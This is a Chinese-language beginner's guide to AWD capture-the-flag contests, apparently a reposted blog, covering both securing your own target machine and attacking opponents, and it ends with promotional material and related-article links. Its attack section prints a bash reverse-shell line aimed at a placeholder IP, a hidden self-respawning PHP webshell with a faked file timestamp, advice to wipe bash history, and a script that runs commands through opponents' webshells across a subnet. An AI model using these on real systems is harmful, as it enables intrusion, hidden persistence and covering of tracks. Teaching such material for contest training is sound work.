CTF-AWD入门手册

引文

AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。本文就个人经验来讲一下AWD比赛中需要做的事。

站点部署

比赛开始时我们会分配到一个至多个靶机,通常是分配给我们ssh 用户名和密码还有虚拟ip等信息,我们需要自己去连接靶机。个人推荐使用xshell搭配xftp来使用,当我们连接靶机之后要做什么呢。

图片.png

dump源码

比赛开始第一件事,dump网站源码,使用ssh工具保留源码,复制两份,用d盾去扫一份,因为当我们靶机受到攻击时对手可能直接删除我们的源码导致靶机DOWN机,而通常比赛中主办方会在源码中留有一些后门,我们用D盾去扫描一下来进行修复攻击

数据库备份

我们登录数据库来进行备份,当数据被删除时可以使用命令快速还原。

arduino
复制代码
mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库

还原命令:

arduino
复制代码
mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库

修改密码

当主办方给我们的连接密码过于简单时,不排除对手先登录我们靶机来进行破坏,于是我们要快速修改弱口令密码。

linux修改ssh即本地密码:

复制代码
passwd

修改mysql登录密码:

ini
复制代码
mysql>set password for root@localhost =password('xino');

关闭不必要端口

一些端口会存在漏洞,为了保证安全我们关闭一些不必要的端口来进行维护:

图片.png

部署WAF

WAF是用来分析阻挡对手攻击的工具它可以分析流量,别人攻击我们的时候,我们可以看到别人的攻击方式。当没有攻击思路时我们就可以分析流量,使用别人的攻击方式。 部署方式如下:

每个文件前边加:

scss
复制代码
require_once(waf.php);

为了方便我们可以修改php.ini配置文件,来自动给当前文件夹下文件头部添加:

ini
复制代码
auto_prepend_file=<filename>;

攻击(ATTACK)

当我们部署完自己的靶机确认没有漏洞后,我们便可以尝试攻击别人机器了。

弱口令

当发现靶机存在弱口令后,我们就可以遍历IP地址来查询存活的机器来自动连接查找FLAG,或者在受害者靶机里植入后门文件来维持我们的控制。

自带后门

通常靶机会有自带的后门木马,我们知道路径后便可以写一个脚本批量连接来提交FLAG。

nmap

扫描C段存活主机:

复制代码
 .\nmap xxx.xxx.xxx.xxx/24

保存为TXT文件以便于之后编写脚本去攻击。

图片.png

WEB攻击

举几个比较常见的WEB攻击方式:

文件读取,伪协议方式读取flag

文件上传,绕过黑白名单上传一句话,用工具连接查找flag

命令执行,通过system等函数来遍历文件

SQL注入,寻找注入点注出flag

当我们找到上面漏洞后,尽量去写一个脚本来自动提交flag,之后再去寻找其他漏洞。

写入木马

因为AWD赛制是回合制,所以我们要想保持长时间稳定上分就要时刻控制别人靶机,也就是要传入木马但又不能被对手发现,下面列举几个权限维持的小技巧。

bash反弹shell

利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,nc反弹shell命令如下:

css
复制代码
bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1
nc -l -p 8080

图片.png

注意: 使用bash命令,会在root目录生成名为~/.bash_history的记录文件,我们要清除来消除威胁。

不死马

一个简单的不死马:

php
复制代码
<?php
	    ignore_user_abort(true);
	    set_time_limit(0);
	    unlink(__FILE__);
	    $file = '.config.php';
	    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
	    //pass=pass
	    while (1){
	        file_put_contents($file,$code);
	        system('touch -m -d "2020-10-21 04:17:18" .config.php');
	        usleep(5000);
	    }
	?>

不死马的作用就是将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为.config.php的不死马隐藏文件。以此来达到权限维持。

提交脚本

比赛中可能会有几十台靶机,尽管我们知道了如何攻击,但一个一个打似乎有一些太慢了,所以这时我们要利用脚本去批量提交解放双手。这里就在网上找了几个常用的:

预留后门利用脚本:

ini
复制代码
import requests
url_head="http://xxx.xx.xxx."    #网段
url=""
shell_addr="/Upload/index.php"
passwd="xxxxx"                    #木马密码
port="80"
payload =  {passwd: 'system('cat /flag');'}
webshelllist=open("webshelllist.txt","w")
flag=open("firstround_flag.txt","w")
for i in range(30,61):
    url=url_head+str(i)+":"+port+shell_addr
    try:
        res=requests.post(url,payload,timeout=1)
        if res.status_code == requests.codes.ok:
            result = url+" connect shell sucess,flag is "+res.text
            print result
            print >>flag,result
            print >>webshelllist,url+","+passwd
        else:
            print "shell 404"
    except:
        print url+" connect shell fail"
webshelllist.close()
flag.close()

批量提交flag脚本(需根据要求自行修改):

ini
复制代码
import sys
import json
import urllib
import httplib
server_host = ' '    #提交flag的服务器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
        raise Exception('team token or flag wrong')
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({        #提交需要post的参数,根据情况修改
        'token': team_token,    
        'flag': flag,
    })
    headers = {
        "Content-type": "application/x-www-form-urlencode"
    }
    conn.request('POST', '[submit_flag_dir]', params, headers)    #第二个参数为提交flag的目录
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)
if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'usage: ./submitflag.py [team_token] [flag]'
        sys.exit()
    host = server_host
    if len(sys.argv) > 3:
        host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

防御(DEFENSE)

既然有攻击那么也需要防御别人的攻击,上面其实已经讲了一些防御的技巧了,比如修改弱口令,上传WAF等,这里就简单总结一下其他常用的知识吧。

查找flag的位置

arduino
复制代码
find / -name *flag*

查找password

arduino
复制代码
find .|xargs grep "password"

查看以建立的连接和进程

perl
复制代码
netstat -antulp | grep EST

结束进程

bash
复制代码
kill PID
killall <进程名>  

检测TCP连接数量

bash
复制代码
netstat -ant|awk  |grep |sed -e  -e |sort|uniq -c|sort -rn

chattr命令防止系统中某个关键文件被修改

bash
复制代码
chattr +i /etc/resolv.conf

流量监控

当别人访问我们靶机时请求的URL可能就是攻击的payload,我们如果知道他们的请求就可以利用他们的手段来反打过去,这个基于流量监控来实现,一个简单的脚本如下:

php
复制代码
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

​最后

为了帮助大家更好的学习网络安全,小编给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,所有资料共282G,朋友们如果有需要全套网络安全入门+进阶学习资源包。

😝有需要的小伙伴,可以点击下方链接免费领取

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20份渗透测试电子书

③安全攻防357页笔记

④50份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年CTF夺旗赛题解析

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

2️⃣视频配套资料&国内外网安书籍、文档

① 文档和书籍资料

② 黑客技术

因篇幅有限,仅展示部分资料

如果你对网络安全入门感兴趣,需要的话可以在下方

3️⃣网络安全源码合集+工具包

4️⃣网络安全面试题

5️⃣汇总

所有资料 ⚡️ ,朋友们如果有需要全套 《网络安全入门+进阶学习资源包》,扫码获取~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/702675.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用itextPDF实现PDF电子公章工具类

一、制作公章 在线网站&#xff1a;印章生成器 - Kalvin在线工具 (kalvinbg.cn) 然后对公章进行下载保存 盖章图片&#xff1a; 二、生成数字签名 2.1&#xff1a; java工具keytool生成p12数字证书文件 Keytool是用于管理和证书的工具&#xff0c;位于%JAVA_HOME%/bin目录。…

深入理解Qt多线程编程(QThreadPool)

多线程编程在现代软件开发中变得越来越重要&#xff0c;它能够提高应用程序的响应速度和处理性能。在Qt框架中&#xff0c;QThreadPool作为线程池管理工具&#xff0c;被频繁的使用。 目录 概述 接口介绍 底层原理解析 使用方法 概述 QThreadPool是Qt提供的一个线程池实现&a…

计算机视觉全系列实战教程:(八)图像变换-点运算、灰度变换、直方图变换

图像变换&#xff1a;点运算、灰度变换、直方图变换 1.点运算(1)What(2)Why 2.灰度变换(1)What(2)Why(作用)(3)Which(有哪些灰度变换&#xff09; 3.直方图修正(1)直方图均衡化 1.点运算 (1)What 通过点运算&#xff0c;输出图像的每个像素的灰度值仅仅取决于输入图像中相对应…

eNSP学习——PPP的认证

目录 主要命令 原理概述 实验目的 实验内容 实验拓扑 实验编址 实验步骤 1、基本配置 2、搭建OSPF网络 3、配置PPP的PAP认证 4、配置PPP的CHAP认证 主要命令 //设置本端的PPP协议对对端设备的认证方式为 PAP&#xff0c;认证采用的域名为huawei [R3]int s4/0/0 [R…

C语言 RTC时间(年月日时分秒) 和 时间戳 互相转换

一、介绍 在C语言中&#xff0c;将年月日时分秒转换为时间戳&#xff08;Unix时间戳&#xff0c;即从1970年1月1日00:00:00 UTC到现在的秒数&#xff09;通常需要使用struct tm结构体和timegm或mktime函数。&#xff08;注意&#xff0c;mktime函数假设struct tm是本地时间&…

面试题分享之JVM篇

注意&#xff1a;文章若有错误的地方&#xff0c;欢迎评论区里面指正 &#x1f36d; 系列文章目录 面试题分享之Java并发篇面试题分享之Java集合篇&#xff08;二&#xff09; 前言 学过Java的小伙伴肯定对JVM&#xff08;Java虚拟机&#xff09;多多少少了解一点&#xff0c…

工程项目管理系统:高效、专业的工程管理软件

在当今快速发展的工程行业&#xff0c;有效的项目管理是确保项目成功的关键。鸿鹄工程项目管理系统&#xff0c;基于Spring Cloud、Spring Boot、Mybatis、Vue和ElementUI技术栈&#xff0c;提供了一个全面、高效的解决方案&#xff0c;以应对复杂的工程项目管理挑战。 项目背景…

ChatGLM3-6B-32K 在linux(Ubuntu) GPU P100(16G)复现记录

ChatGLM3-6B-32K 在linux(Ubuntu) GPU P100(16G)复现记录 时间&#xff1a;2024年6月12日 1.创建Conda环境 conda create --name chatglm3 python3.10 conda activate chatglm32.下载chatglm&#xff0c;并安装依赖 如果没有安装git命令&#xff0c;先安装git命令 sudo ap…

开展文化科技卫生“三下乡”活动怎样向媒体投稿宣传?

在新时代背景下&#xff0c;“文化科技卫生三下乡”活动作为推动乡村振兴、促进城乡融合发展的重要举措&#xff0c;正发挥着不可小觑的作用。这类活动通过输送文化、科技、卫生等领域的资源和服务到农村&#xff0c;极大地丰富了农民的精神生活&#xff0c;提升了农村的科学素…

【目标检测】基于深度学习的车牌识别管理系统(含UI界面)【python源码+Pyqt5界面 MX_002期】

系统简介&#xff1a; 车牌识别技术作为经典的机器视觉任务&#xff0c;具有广泛的应用前景。通过图像处理方法&#xff0c;车牌识别技术能够对车牌上的字符进行检测、定位和识别&#xff0c;从而实现计算机对车牌的智能化管理。在现实生活中&#xff0c;车牌识别系统已在小区停…

前端传递bool型后端用int收不到

文章目录 背景模拟错误点解决方法 背景 我前几天遇到一个低级错误&#xff0c;就是我前端发一个请求&#xff0c;把参数送到后端&#xff0c;但是我参数里面无意间传的布尔型&#xff08;刚开始一直没注意到&#xff0c;因为当时参数有十几个&#xff09;&#xff0c;但是我后…

认证体系下的CID广告服务商:构建商家与服务商的共赢生态

摘要&#xff1a;引流电商服务商认证体系的构建促进了商家与服务商之间的顺畅合作&#xff0c;降低了风险&#xff0c;优化了资源配置。认证提升了服务商形象&#xff0c;扩大了市场份额&#xff0c;推动了行业技术创新和服务升级&#xff0c;构建了共赢生态。 在引流电商行业…

发布会后苹果股价创历史新高;商汤 Embedding 模型拿下 SOTA丨 RTE 开发者日报 Vol.223

开发者朋友们大家好&#xff1a; 这里是 「RTE 开发者日报」 &#xff0c;每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE&#xff08;Real-Time Engagement&#xff09; 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文…

免密支付存隐患 谨防“便捷”变“踩坑”

免密支付存隐患 谨防“便捷”变“踩坑” 当前&#xff0c;我国网购用户已超9亿人&#xff0c;越来越便捷的支付手段让网络消费体验更加“丝滑”。但免密支付、自动续费等方式在简化付款流程的同时&#xff0c;也成为一些平台“套路”消费者的手段&#xff0c;暗藏诱导消费陷阱。…

闪烁与常亮的符号状态判断机制(状态机算法)

背景说明 在视觉项目中&#xff0c;经常要判断目标的状态&#xff0c;例如&#xff1a;符号的不同频率闪烁、常亮等。然而常规的视觉算法例如YOLO&#xff0c;仅仅只能获取当前帧是否存在该符号&#xff0c;而无法对于符号状态进行判断&#xff0c;然而重新写一个基于时序的卷积…

跟着AI学AI_09 PyTorch 简介

PyTorch 简介 PyTorch 是一个开源的深度学习框架&#xff0c;由 Facebook 的人工智能研究团队&#xff08;FAIR&#xff09;开发。它提供了灵活且高效的张量计算功能&#xff0c;并支持动态计算图。PyTorch 的易用性和灵活性使其成为深度学习研究和生产应用中广泛使用的工具。…

一维、二维数组练习题

1、输入一个6个元素的一维数组&#xff0c;实现冒泡排序 2、输入一个6个元素的一维数组&#xff0c;实现简单排序 3、输入一个5个元素的一维数组&#xff0c;求最大值&#xff0c;最小值 4、输入一个三行四列的二维数组&#xff0c;计算最大值和最小值

期权和股票有什么区别?

今天带你了解期权和股票有什么区别&#xff1f;股票和期权都是投资产品&#xff0c;但它们却是两种截然不同的交易模式&#xff0c;在开户要求上也有很多差别。 期权和股票有什么区别&#xff1f; 权利与义务&#xff1a; 股票&#xff1a;代表公司的所有权的一部分&#xff…

【扫码点餐系统】制作搭建部署

前言&#xff1a; 餐饮类做一个扫码点餐的工具可以提升用户体验、扩大市场份额、提高运营效率以及适应数字化趋势等方面。 一、企业开发小程序原因 企业开发小程序具有多方面的优势&#xff0c;可以帮助企业提升用户体验、扩大市场份额、提高运营效率以及适应数字化趋势等。…

线程安全问题【snychornized 、死锁、线程通信】

目录 一、线程安全1.1 线程安全问题?1.2 如何解决线程安全问题方法具体如何实现? 1.3 同步方法1.4 同步代码块1.5 总结1.6 售票例子1.8 补充 二、线程安全的集合三、死锁【了解】四、线程通信4.1 同步方法4.2 同步代码块4.3 wait和sleep本篇的思维导图 最后 一、线程安全 1.…